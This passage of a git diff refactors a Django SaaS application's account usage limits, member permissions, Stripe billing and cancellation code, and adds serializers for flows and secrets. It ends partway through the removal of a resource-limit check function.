         type = kwargs.get('type')
         code = kwargs.get('code')
-        max_sites = kwargs.get('max_sites')
-        max_pages = kwargs.get('max_pages')
-        max_schedules = kwargs.get('max_schedules')
-        retention_days = kwargs.get('retention_days')
         cust_id = kwargs.get('cust_id')
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
         price_id = kwargs.get('price_id')
         price_amount = kwargs.get('price_amount')
         interval = kwargs.get('interval')
+        sites_allowed = kwargs.get('sites_allowed')
+        pages_allowed = kwargs.get('pages_allowed')
+        schedules_allowed = kwargs.get('schedules_allowed')
+        retention_days = kwargs.get('retention_days')
         scans_allowed = kwargs.get('scans_allowed')
         tests_allowed = kwargs.get('tests_allowed')
-        testcases_allowed = kwargs.get('testcases_allowed')
+        caseruns_allowed = kwargs.get('caseruns_allowed')
+        flowruns_allowed = kwargs.get('flowruns_allowed')
+        nodes_allowed = kwargs.get('nodes_allowed')
+        conditions_allowed = kwargs.get('conditions_allowed')
+        sites = kwargs.get('sites')
+        schedules = kwargs.get('schedules')
         scans = kwargs.get('scans')
         tests = kwargs.get('tests')
-        testcases = kwargs.get('testcases')
+        caseruns = kwargs.get('caseruns')
+        flowruns = kwargs.get('flowruns')
         slack = kwargs.get('slack')
         configs = kwargs.get('configs')
         meta = kwargs.get('meta')
+        info = kwargs.get('info')
         user_id = kwargs.get('user')
         user = User.objects.get(id=user_id)
 
@@ -680,22 +697,12 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         account = Account.objects.get(id=_id)
         if name is not None:
             account.name = name
-        if phone is not None:
-            account.phone = phone
         if active is not None:
             account.active = active
         if type is not None:
             account.type = type
         if code is not None:
             account.code = code
-        if max_sites is not None:
-            account.max_sites = max_sites
-        if max_pages is not None:
-            account.max_pages = max_pages
-        if max_schedules is not None:
-            account.max_schedules = max_schedules
-        if retention_days is not None:
-            account.retention_days = retention_days
         if cust_id is not None:
             account.cust_id = cust_id
         if sub_id is not None:
@@ -712,20 +719,42 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.usage['scans_allowed'] = scans_allowed
         if tests_allowed is not None:
             account.usage['tests_allowed'] = tests_allowed
-        if testcases_allowed is not None:
-            account.usage['testcases_allowed'] = testcases_allowed
+        if caseruns_allowed is not None:
+            account.usage['caseruns_allowed'] = caseruns_allowed
+        if flowruns_allowed is not None:
+            account.usage['flowruns_allowed'] = flowruns_allowed
+        if sites_allowed is not None:
+            account.usage['sites_allowed'] = sites_allowed
+        if pages_allowed is not None:
+            account.usage['pages_allowed'] = pages_allowed
+        if schedules_allowed is not None:
+            account.usage['schedules_allowed'] = schedules_allowed
+        if nodes_allowed is not None:
+            account.usage['nodes_allowed'] = nodes_allowed
+        if conditions_allowed is not None:
+            account.usage['conditions_allowed'] = conditions_allowed
+        if retention_days is not None:
+            account.usage['retention_days'] = retention_days
+        if sites is not None:
+            account.usage['sites'] = sites
+        if schedules is not None:
+            account.usage['schedules'] = schedules
         if scans is not None:
             account.usage['scans'] = scans
         if tests is not None:
             account.usage['tests'] = tests
-        if testcases is not None:
-            account.usage['testcases'] = testcases
+        if caseruns is not None:
+            account.usage['caseruns'] = caseruns
+        if flowruns is not None:
+            account.usage['flowruns'] = flowruns
         if slack is not None:
             account.slack = slack
         if configs is not None:
             account.configs = configs
         if meta is not None:
             account.meta = meta
+        if info is not None:
+            account.info = info
         
         # saving updated info
         account.save()
@@ -737,31 +766,38 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         if code is None:
             code = secrets.token_urlsafe(16)
 
+        # build usage 
+        usage = {
+            'sites': 0,
+            'schedules': 0,
+            'scans': 0,
+            'tests': 0,
+            'caseruns': 0,
+            'flowruns': 0,
+            'sites_allowed': sites_allowed if sites_allowed else 1, 
+            'pages_allowed': pages_allowed if pages_allowed else 3, 
+            'schedules_allowed': schedules_allowed if schedules_allowed else 1,
+            'scans_allowed': scans_allowed if scans_allowed else 30, 
+            'tests_allowed': tests_allowed if tests_allowed else 30, 
+            'caseruns_allowed': caseruns_allowed if caseruns_allowed else 15,
+            'flowruns_allowed': flowruns_allowed if flowruns_allowed else 5,
+            'nodes_allowed': nodes_allowed if nodes_allowed else 6,
+            'conditions_allowed': conditions_allowed if conditions_allowed else 2,
+            'retention_days': retention_days if retention_days else 15,
+        }
+
         # create new account
         account = Account.objects.create(
             user=user,
             name=name,
-            phone=phone,
             active=True,
             type=type,
             code=code,
-            max_sites=max_sites,
-            max_pages=max_pages,
-            max_schedules=max_schedules if max_schedules is not None else 0,
-            retention_days=retention_days if retention_days is not None else 14,
             cust_id=cust_id,
             sub_id=sub_id,
             product_id=product_id,
             price_id=price_id,
-            meta=meta,
-            usage={
-                'scans': 0,
-                'tests': 0,
-                'testcases': 0,
-                'scans_allowed': scans_allowed if scans_allowed is not None else 30, 
-                'tests_allowed': tests_allowed if tests_allowed is not None else 30, 
-                'testcases_allowed': testcases_allowed if testcases_allowed is not None else 15,
-            },
+            usage=usage,
         )
     
     # serialize and return
@@ -832,6 +868,11 @@ def create_user_token(request: object) -> object:
 
 
 
+### ------ Begin Member Services ------ ###
+
+
+
+
 def get_account_members(request: object, *args, **kwargs) -> object:
     """ 
     Get a list of `Members` associated with the 
@@ -885,11 +926,14 @@ def create_or_update_member(request: object=None) -> object:
     if request is not None:
         user = request.user
         _id = request.data.get('id')
+        send_invite = request.data.get('send_invite')
         account = request.data.get('account')
         _status = request.data.get('status')
         _type = request.data.get('type')
         email = request.data.get('email')
+        phone = request.data.get('phone')
         code = request.data.get('code')
+        permissions = request.data.get('permissions')
 
     # checking account
     if account is not None:
@@ -913,10 +957,14 @@ def create_or_update_member(request: object=None) -> object:
             member.account = account
         if email is not None:
             member.email = email
+        if phone is not None:
+            member.phone = phone
         if user is not None and user.username == member.email:
             member.user = user
         if _type is not None:
             member.type = _type
+        if permissions is not None:
+            member.permissions = permissions
         
         # updating status
         if _status is not None:
@@ -933,15 +981,21 @@ def create_or_update_member(request: object=None) -> object:
 
     # create new Member
     if _id is None:
+
+        # get permissonions or default
+        _permissions = permissions if permissions else get_permissions_default()
+
         member = Member.objects.create(
             email=email,
+            phone=phone,
             status=_status,
             type=_type,
             account=account,
+            permissions=_permissions
         )
 
     # sending invite link
-    if _status == 'pending':
+    if _status == 'pending' and send_invite:
         send_invite_link_bg.delay(member_id=member.id)
     
     # sending removed alert and deleting
@@ -1007,6 +1061,11 @@ def get_member(request: object=None, id: str=None) -> object:
 
 
 
+### ------ Begin Prospect Services ------ ###
+
+
+
+
 def get_prospects(request: object) -> object:
     """ 
     This pulls all admin Members and 
@@ -1051,12 +1110,15 @@ def get_prospects(request: object) -> object:
             else:
                 _status = 'warm' # account is paused and paid
 
+        # get admin member
+        member = Member.objects.filter(account=account, type='admin')[0]
+
         # building prospect
         prospect = {
             'first_name': account.user.first_name,
             'last_name': account.user.last_name,
             'email': account.user.email,
-            'phone': account.phone,
+            'phone': member.phone,
             'status': _status
         }
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index bb10c980..8758d22b 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -3,7 +3,10 @@
 from django.contrib.auth.models import User
 from django.core import serializers
 from datetime import date, datetime, timedelta
-from ...models import Account, Card, Site, Issue
+from ...models import (
+    Account, Card, Site, Issue, Flow, Schedule,
+    get_meta_default, get_usage_default
+)
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
 from ..auth.serializers import AccountSerializer
@@ -25,18 +28,21 @@ def stripe_setup(request: object) -> object:
     "user" and `Account`
 
     Expects: {
-        'name'              : <str> 'basic', 'pro', 'plus', 'custom' (REQUIRED)
-        'interval'          : <str> 'month' or 'year' (REQUIRED)
-        'price_amount'      : <int> 1000 == $10 (REQUIRED)
-        'max_sites'         : <int> total # `Sites` per `Account` (REQUIRED)
-        'max_pages'         : <int> total # `Pages` per `Site` (REQUIRED)
-        'max_schedules'     : <int> total # `Schedules` per `Account` (REQUIRED)
-        'retention_days'    : <int> total # days to keep data (REQUIRED)
-        'testcases'         : <str> 'true' or 'false' (OPTIONAL)
-        'scans_allowed'     : <int> total # of `Scans` per `Account` per month (OPTIONAL)
-        'tests_allowed'     : <int> total # of `Tests` per `Account` per month (OPTIONAL)
-        'testcases_allowed' : <int> total # of `Testcases` per `Account` per month (OPTIONAL)
-        'meta'              : <dict> any extra data for the account (OPTIONAL)
+        'name'                  : <str> 'basic', 'pro', 'plus', 'custom' (REQUIRED)
+        'interval'              : <str> 'month' or 'year' (REQUIRED)
+        'price_amount'          : <int> 1000 == $10 (REQUIRED)
+        'sites_allowed'         : <int> total # `Sites` per `Account` (REQUIRED)
+        'pages_allowed'         : <int> total # `Pages` per `Site` (REQUIRED)
+        'schedules_allowed'     : <int> total # `Schedules` per `Account` (REQUIRED)
+        'retention_days'        : <int> total # days to keep data (REQUIRED)
+        'caseruns'              : <str> 'true' or 'false' (OPTIONAL)
+        'scans_allowed'         : <int> total # of `Scans` per `Account` per month (OPTIONAL)
+        'tests_allowed'         : <int> total # of `Tests` per `Account` per month (OPTIONAL)
+        'caseruns_allowed'      : <int> total # of `CaseRuns` per `Account` per month (OPTIONAL)
+        'flowruns_allowed'      : <int> total # of `FlowRuns` per `Account` per month (OPTIONAL)
+        'nodes_allowed'         : <int> total # of `nodes` per `Flow` per month (OPTIONAL)
+        'conditions_allowed'    : <int> total # of `conditons` per `Flow` (OPTIONAL)
+        'meta'                  : <dict> any extra data for the account (OPTIONAL)
     }
     
     Returns -> data: {
@@ -52,14 +58,17 @@ def stripe_setup(request: object) -> object:
     name = request.data.get('name')
     interval = request.data.get('interval') # month or year
     price_amount = int(request.data.get('price_amount'))
-    max_sites = int(request.data.get('max_sites'))
-    max_pages = int(request.data.get('max_pages'))
-    max_schedules = int(request.data.get('max_schedules'))
+    sites_allowed = int(request.data.get('sites_allowed'))
+    pages_allowed = int(request.data.get('pages_allowed'))
+    schedules_allowed = int(request.data.get('schedules_allowed'))
     retention_days = int(request.data.get('retention_days'))
     scans_allowed = int(request.data.get('scans_allowed'))
     tests_allowed = int(request.data.get('tests_allowed'))
-    testcases_allowed = int(request.data.get('testcases_allowed'))
-    meta = request.data.get('meta')
+    caseruns_allowed = int(request.data.get('caseruns_allowed'))
+    flowruns_allowed = int(request.data.get('flowruns_allowed'))
+    nodes_allowed = int(request.data.get('nodes_allowed'))
+    conditions_allowed = int(request.data.get('conditions_allowed'))
+    meta = request.data.get('meta', get_meta_default())
     
     # get user
     user = request.user
@@ -71,22 +80,6 @@ def stripe_setup(request: object) -> object:
     # build Stripe Product name
     product_name = f'{name.capitalize()}'
 
-    # create new `Account` if none exists
-    if not Account.objects.filter(user=user).exists():
-        create_or_update_account(
-            user=user,
-            type=name,
-            interval=interval,
-            max_sites=max_sites,
-            max_pages=max_pages,
-            max_schedules=max_schedules,
-            retention_days=retention_days, 
-            scans_allowed=scans_allowed if scans_allowed is not None else 30, 
-            tests_allowed=tests_allowed if tests_allowed is not None else 30, 
-            testcases_allowed=testcases_allowed if testcases_allowed is not None else 15,
-            meta=meta
-        )
-
     # get account 
     account = Account.objects.get(user=user)
     
@@ -145,23 +138,26 @@ def stripe_setup(request: object) -> object:
 
     # update `Account` with new Stripe info
     create_or_update_account(
-        user=user.id,
-        id=account.id,
-        type = name,
-        cust_id = customer.id,
-        sub_id = subscription.id,
-        product_id = product.id,
-        price_id = price.id,
-        interval = interval,
-        max_sites = max_sites,
-        max_pages = max_pages,
-        price_amount = price_amount,
-        max_schedules = max_schedules,
-        retention_days = retention_days,
-        scans_allowed = scans_allowed,
-        tests_allowed = tests_allowed,
-        testcases_allowed = testcases_allowed,
-        meta = meta
+        user                = user.id,
+        id                  = account.id,
+        type                = name,
+        cust_id             = customer.id,
+        sub_id              = subscription.id,
+        product_id          = product.id,
+        price_id            = price.id,
+        price_amount        = price_amount,
+        interval            = interval,
+        sites_allowed       = sites_allowed,
+        pages_allowed       = pages_allowed,
+        schedules_allowed   = schedules_allowed,
+        retention_days      = retention_days,
+        scans_allowed       = scans_allowed,
+        tests_allowed       = tests_allowed,
+        caseruns_allowed    = caseruns_allowed,
+        flowruns_allowed    = flowruns_allowed,
+        nodes_allowed       = nodes_allowed,
+        conditions_allowed  = conditions_allowed,
+        meta                = meta
     )        
 
     # get client_secret from Stripe 
@@ -227,13 +223,13 @@ def stripe_complete(request: object) -> object:
         
         # update `Card` object
         Card.objects.filter(account=account).update(
-            user = request.user,
-            account = account,
-            pay_method_id = pay_method.id,
-            brand = pay_method.card.brand,
-            exp_year = pay_method.card.exp_year,
-            exp_month = pay_method.card.exp_month,
-            last_four = pay_method.card.last4
+            user            = request.user,
+            account         = account,
+            pay_method_id   = pay_method.id,
+            brand           = pay_method.card.brand,
+            exp_year        = pay_method.card.exp_year,
+            exp_month       = pay_method.card.exp_month,
+            last_four       = pay_method.card.last4
         )
 
     else:
@@ -246,13 +242,13 @@ def stripe_complete(request: object) -> object:
 
         # create new `Card` object
         Card.objects.create(
-            user = request.user,
-            account = account,
-            pay_method_id = pay_method.id,
-            brand = pay_method.card.brand,
-            exp_year = pay_method.card.exp_year,
-            exp_month = pay_method.card.exp_month,
-            last_four = pay_method.card.last4
+            user            = request.user,
+            account         = account,
+            pay_method_id   = pay_method.id,
+            brand           = pay_method.card.brand,
+            exp_year        = pay_method.card.exp_year,
+            exp_month       = pay_method.card.exp_month,
+            last_four       = pay_method.card.last4
         )
 
     # update account activation
@@ -270,7 +266,7 @@ def stripe_complete(request: object) -> object:
 
 def calc_price(account: object=None) -> int:
     """ 
-    Calculates a `price` based on `Account.max_sites` 
+    Calculates a `price` based on `Account.sites_allowed` 
     and any `Account.meta.coupon` data.
 
     Expects: {
@@ -283,8 +279,8 @@ def calc_price(account: object=None) -> int:
     # init Stripe client
     stripe.api_key = settings.STRIPE_PRIVATE
     
-    # get max_sites
-    max_sites = account.max_sites
+    # get sites_allowed
+    sites_allowed = account.usage['sites_allowed']
 
     # get account coupon
     discount = 0
@@ -292,17 +288,17 @@ def calc_price(account: object=None) -> int:
         discount = account.meta['coupon']['discount']
 
     # calculate 
-    if max_sites <= 5:
+    if sites_allowed <= 5:
         price = 8900
-    elif max_sites > 5 and max_sites <= 10:
+    elif sites_allowed > 5 and sites_allowed <= 10:
         price = 17900
-    elif max_sites > 10 and max_sites <= 25:
+    elif sites_allowed > 10 and sites_allowed <= 25:
         price = 34900
-    elif max_sites > 25:
+    elif sites_allowed > 25:
         price = (
             ( 
-                (-0.0003 * (max_sites ** 2)) + 
-                (1.5142 * max_sites) + 325.2
+                (-0.0003 * (sites_allowed ** 2)) + 
+                (1.5142 * sites_allowed) + 325.2
             ) * 100
         )
 
@@ -481,7 +477,7 @@ def update_account_with_stripe_redirect(request: object=None) -> object:
         interval     = interval,
     )
     
-    # equeting account data deletion
+    # starting account data deletion
     if not active:
         cancel_subscription(account=account)
 
@@ -534,10 +530,6 @@ def get_billing_info(request: object) -> object:
             'active': account.active,
             'price_amount': account.price_amount,
             'interval': account.interval,
-            'max_sites': account.max_sites,
-            'max_pages': account.max_pages,
-            'max_schedules': account.max_schedules,
-            'retention_days': account.retention_days,
             'usage': account.usage,
             'meta': account.meta,
         },
@@ -618,7 +610,8 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
 
     # get user's account
     if request is not None:
-        account = Account.objects.get(user=request.user)
+        user = request.user
+        account = Account.objects.get(user=user)
 
     # update billing if accout is active
     if account.active == True:
@@ -633,10 +626,6 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
 
         # update Account plan
         account.type = 'free'
-        account.max_sites = 1
-        account.max_schedules = 1
-        account.max_pages = 3
-        account.retention_days = '15'
         account.interval = 'month'
         account.price_amount = 0
         account.cust_id = None
@@ -644,16 +633,8 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
         account.product_id = None
         account.price_id = None
         account.price_amount = None
-        account.usage = {
-            'scans': 0,
-            'tests': 0,
-            'testcases': 0,
-            'scans_allowed': 30, 
-            'tests_allowed': 30, 
-            'testcases_allowed': 15,
-        }
-        account.meta['last_usage_reset'] = datetime.today().strftime('%Y-%m-%d %H:%M:%S.%f')
-        account.meta['coupon'] = {"code": "", "discount": 0}
+        account.usage = get_usage_default()
+        account.meta = get_meta_default()
 
         # save Account
         account.save()
@@ -663,15 +644,21 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
         card.delete()
     
     # remove sites
-    sites = Site.objects.filter(account=account)
-    for site in sites:
-        delete_site(id=site.id, account=account)
+    for site in Site.objects.filter(account=account):
+        delete_site(id=site.id, user=user)
+
+    # remove flows
+    for flow in Flow.objects.filter(account=account):
+        flow.delete()
     
     # remove issues
-    issues = Issue.objects.filter(account=account)
-    for issue in issues:
+    for issue in Issue.objects.filter(account=account):
         issue.delete()
 
+    # remove schedules
+    for schedule in Schedule.objects.filter(account=account):
+        schedule.delete()
+
     # serialize and return
     if request is not None:
         serializer_context = {'request': request,}
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 92c27d34..609b431e 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -11,7 +11,7 @@
     'allow_null': False, 
     'read_only': True, 
     'pk_field': UUIDField(format='hex_verbose')
-    }
+}
 
 
 
@@ -42,6 +42,19 @@ class Meta:
 
 
 
+class SecretSerializer(serializers.HyperlinkedModelSerializer):
+    id = serializers.PrimaryKeyRelatedField(**kwargs)
+    user = serializers.ReadOnlyField(source='user.username')
+    account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
+
+    class Meta:
+        model = Secret
+        fields = ['id', 'account', 'user', 'time_created', 'name',
+        ]
+
+
+
+
 class SiteSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -148,28 +161,28 @@ class Meta:
 class ScheduleSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
-    automation = serializers.PrimaryKeyRelatedField(**kwargs)
+    alert = serializers.PrimaryKeyRelatedField(**kwargs)
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
 
     class Meta:
         model = Schedule
         fields = ['id', 'time_created', 'user', 'task_type',
         'timezone', 'begin_date', 'time', 'frequency', 'task', 'crontab_id',
-        'periodic_task_id', 'status', 'automation', 'extras', 'account', 
+        'periodic_task_id', 'status', 'alert', 'extras', 'account', 
         'scope', 'resources', 'time_last_run',
         ]
 
 
 
 
-class AutomationSerializer(serializers.HyperlinkedModelSerializer):
+class AlertSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     schedule = serializers.PrimaryKeyRelatedField(**kwargs)
     user = serializers.ReadOnlyField(source='user.username')
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
 
     class Meta:
-        model = Automation
+        model = Alert
         fields = ['id', 'expressions', 'actions', 'user', 'schedule',
         'time_created', 'name', 'account',
         ]
@@ -201,15 +214,14 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
 
     class Meta:
         model = Case
-        fields = ['id', 'name', 'user', 'steps', 'time_created',
-        'tags', 'account', 'site', 'type', 'site_url', 
-        'processed'
+        fields = ['id', 'title', 'user', 'steps', 'time_created',
+        'tags', 'account', 'site', 'type', 'site_url', 'processed'
         ]
 
 
 
 
-class TestcaseSerializer(serializers.HyperlinkedModelSerializer):
+class CaseRunSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
     case = serializers.PrimaryKeyRelatedField(source='case.id', **kwargs)
@@ -217,17 +229,15 @@ class TestcaseSerializer(serializers.HyperlinkedModelSerializer):
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
 
     class Meta:
-        model = Testcase
+        model = CaseRun
         fields = ['id', 'site', 'user', 'time_created', 'time_completed',
-        'steps', 'case', 'case_name', 'configs', 'account',
-        # 'passed', # REMOVE
-        'status', # NEW
+        'steps', 'case', 'title', 'configs', 'account', 'status',
         ]
 
 
 
 
-class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer):
+class SmallCaseRunSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
     case = serializers.PrimaryKeyRelatedField(source='case.id', **kwargs)
@@ -235,11 +245,9 @@ class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer):
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
 
     class Meta:
-        model = Testcase
+        model = CaseRun
         fields = ['id', 'site', 'user', 'time_created', 'time_completed',
-        'case', 'case_name', 'configs', 'account',
-        # 'passed', # REMOVE
-        'status', # NEW
+        'case', 'title', 'configs', 'account', 'status',
         ]
 
 
@@ -257,3 +265,51 @@ class Meta:
 
 
 
+
+class FlowSerializer(serializers.HyperlinkedModelSerializer):
+    id = serializers.PrimaryKeyRelatedField(**kwargs)
+    user = serializers.ReadOnlyField(source='user.username')
+    account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
+
+    class Meta:
+        model = Flow
+        fields = ['id', 'user', 'account', 'time_created', 'title',
+        'nodes', 'edges', 'time_last_run',
+        ]
+
+
+
+
+class FlowRunSerializer(serializers.HyperlinkedModelSerializer):
+    id = serializers.PrimaryKeyRelatedField(**kwargs)
+    flow = serializers.PrimaryKeyRelatedField(source='flow.id', **kwargs)
+    user = serializers.ReadOnlyField(source='user.username')
+    account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
+    site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
+
+    class Meta:
+        model = FlowRun
+        fields = ['id', 'user', 'account', 'flow', 'time_created', 'title',
+        'nodes', 'edges', 'status', 'time_completed', 'logs', 'site', 'configs'
+        ]
+
+
+
+
+class SmallFlowRunSerializer(serializers.HyperlinkedModelSerializer):
+    id = serializers.PrimaryKeyRelatedField(**kwargs)
+    flow = serializers.PrimaryKeyRelatedField(source='flow.id', **kwargs)
+    user = serializers.ReadOnlyField(source='user.username')
+    account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
+    site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
+
+    class Meta:
+        model = FlowRun
+        fields = ['id', 'user', 'account', 'flow', 'time_created', 'title',
+        'status', 'time_completed', 'site', 'configs'
+        ]
+
+
+
+
+
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f1ce9ec2..292b8d3d 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1,26 +1,21 @@
-from datetime import datetime, timedelta
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
 from django.db.models import Q
 from django.http import HttpResponse
-from ...models import *
+from rest_framework.pagination import LimitOffsetPagination
 from rest_framework.response import Response
 from rest_framework import status
+from cryptography.fernet import Fernet
 from cursion import celery
 from redis import Redis
 from cursion import settings
 from celery import app
 from .serializers import *
 from ...tasks import *
-from rest_framework.pagination import LimitOffsetPagination
-from ...utils.scanner import Scanner as S
-from ...utils.tester import Tester as T
-from ...utils.imager import Imager as I
+from ...models import *
 from ...utils.reporter import Reporter as R
-from ...utils.wordpress import Wordpress as W
-from ...utils.caser import Caser
-from ...utils.crawler import Crawler
 from ...utils.devices import devices
+from datetime import datetime, timedelta, timezone as timezone
 import json, boto3, asyncio, os, requests, uuid, secrets
 
 
@@ -72,361 +67,25 @@ def record_api_call(request: object, data: dict, status: str) -> None:
 
 
 
-def check_account_and_resource(
-        request: object=None, 
-        user: object=None, 
-        resource: str=None, 
-        action: str='get',
-        **kwargs
-    ) -> dict:
-    """ 
-    Based on the passed "resource" & kwargs, checks to see 
-    if account is allowed to add/get a "resource". 
-    Also increments the `Account.usage` for the specified resource.
-
-    Expects: {
-        'request'   : object, 
-        'user'      : object, 
-        'resource'  : str, 
-        **kwargs    : dict
-    }
-    
-    Returns -> data: {
-        'allowed'   : bool,
-        'error'     : str,
-        'status'    : object 
-        'code'      : str
-    }
-    """
-    
-    # setting defaults
-    allowed = True
-    error = None
-    member = None
-    _status = status.HTTP_402_PAYMENT_REQUIRED
-    code = '402'
-
-    # checking for kwargs
-    site_id = kwargs.get('site_id')
-    site_url = kwargs.get('site_url')
-    page_id = kwargs.get('page_id')
-    page_url = kwargs.get('page_url')
-    test_id = kwargs.get('test_id')
-    scan_id = kwargs.get('scan_id')
-    case_id = kwargs.get('case_id')
-    testcase_id = kwargs.get('testcase_id')
-    issue_id = kwargs.get('issue_id')
-    schedule_id = kwargs.get('schedule_id')
-    automation_id = kwargs.get('automation_id')
-    process_id = kwargs.get('process_id')
-    report_id = kwargs.get('report_id')
-
-    # retrieving account
-    if request is not None:
-        user = request.user
-    if Member.objects.filter(user=user).exists():
-        member = Member.objects.get(user=user)
-        account = member.account
-        allowed = member.account.active
-        if not allowed:
-            error = 'account not funded'
-    else:
-        allowed = False
-        error = 'no account assocation'
-        _status = status.HTTP_401_UNAUTHORIZED
-        code = '401'
-    
-    # returning early bc account 
-    # is not funded or not associated
-    if not allowed:
-        data = {
-            'allowed': allowed,
-            'error': error, 
-            'status': _status,
-            'code': code
-        }
-        return data
-
-    # checking if user is 'admin'
-    if user.username == 'admin':
-        data = {
-            'allowed': allowed,
-            'error': error, 
-            'status': _status,
-            'code': code
-        }
-        return data
-
-    # checking resource limit
-    if resource is not None:
-        
-        # checking pages
-        if resource == 'page':
-            if not page_id:
-                if site_id:
-                    if not Site.objects.filter(id=site_id, account=account).exists():
-                        allowed = False
-                        error = 'site not found'
-                        _status = status.HTTP_404_NOT_FOUND
-                        code = '404'
-                    else:
-                        current_count = Page.objects.filter(account=account, site__id=site_id).count()
-                        if current_count >= account.max_pages and action == 'add':
-                            allowed = False
-                            error = 'max pages reached'
-                            _status = status.HTTP_402_PAYMENT_REQUIRED
-                            code = '402'
-            if page_id:
-                if not Page.objects.filter(id=page_id, account=account).exists():
-                    allowed = False
-                    error = 'page not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-            if page_url:
-                if Page.objects.filter(page_url=page_url, account=account).exists():
-                    allowed = False
-                    error = 'page already exists'
-                    _status = status.HTTP_409_CONFLICT
-                    code = '409'
-        
-        # checking sites
-        if resource == 'site':
-            if site_id:
-                if not Site.objects.filter(id=site_id, account=account).exists():
-                    allowed = False
-                    error = 'site not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-            if site_url:
-                current_count = Site.objects.filter(account=account).count()
-                if Site.objects.filter(site_url=site_url, account=account).exists():
-                    allowed = False
-                    error = 'site already exists'
-                    _status = status.HTTP_409_CONFLICT
-                    code = '409'
-                elif current_count >= account.max_sites and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
-                    allowed = False
-                    error = 'max sites reached'
-                    _status = status.HTTP_402_PAYMENT_REQUIRED
-                    code = '402'
-                elif current_count >= account.max_sites  and action == 'add' and (account.type == 'enterprise' or account.type == 'custom'):
-                    # add to max_sites only for enterprise
-                    account.max_sites += 1
-                    account.max_schedules += 1
-                    account.save()
-                    # update price for sub
-                    update_sub_price.delay(account.id)
-        
-        # checking schedules
-        if resource == 'schedule':
-            if not schedule_id:
-                current_count = Schedule.objects.filter(account=account).count()
-                if current_count >= account.max_schedules and action == 'add':
-                    allowed = False
-                    error = 'max schedules reached'
-                    _status = status.HTTP_402_PAYMENT_REQUIRED
-                    code = '402'
-                elif page_id:
-                    if not Page.objects.filter(id=page_id, account=account).exists():
-                        allowed = False
-                        error = 'page not found'
-                        _status = status.HTTP_404_NOT_FOUND
-                        code = '404'
-                elif site_id:
-                    if not Site.objects.filter(id=site_id, account=account).exists():
-                        allowed = False
-                        error = 'site not found'
-                        _status = status.HTTP_404_NOT_FOUND
-                        code = '404'
-                
-            if schedule_id:
-                if not Schedule.objects.filter(id=schedule_id, account=account).exists():
-                    allowed = False
-                    error = 'schedule not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-                if page_id:
-                    if not Page.objects.filter(id=page_id, account=account).exists():
-                        allowed = False
-                        error = 'page not found'
-                        _status = status.HTTP_404_NOT_FOUND
-                        code = '404'
-                if site_id:
-                    if not Site.objects.filter(id=site_id, account=account).exists():
-                        allowed = False
-                        error = 'site not found'
-                        _status = status.HTTP_404_NOT_FOUND
-                        code = '404'
-        
-        # checking automations
-        if resource == 'automation':
-            if automation_id:
-                if not Automation.objects.filter(id=automation_id, account=account).exists():
-                    allowed = False
-                    error = 'automation not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-        
-        # checking testcases
-        if resource == 'testcase':
-            if not testcase_id and action == 'add':
-                if not check_resource(account, 'testcases'):
-                    allowed = False
-                    error = 'max testcases reached'
-                    _status = status.HTTP_402_PAYMENT_REQUIRED
-                    code = '402'
-            if testcase_id:
-                if not Testcase.objects.filter(id=testcase_id, account=account).exists():
-                    allowed = False
-                    error = 'testcase not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-            if case_id:
-                if not Case.objects.filter(id=case_id, account=account).exists():
-                    allowed = False
-                    error = 'case not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-            if site_id:
-                if not Site.objects.filter(id=site_id, account=account).exists():
-                    allowed = False
-                    error = 'site not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-            
-        # checking cases
-        if resource == 'case':
-            if case_id:
-                if not Case.objects.filter(id=case_id, account=account).exists():
-                    allowed = False
-                    error = 'case not found'
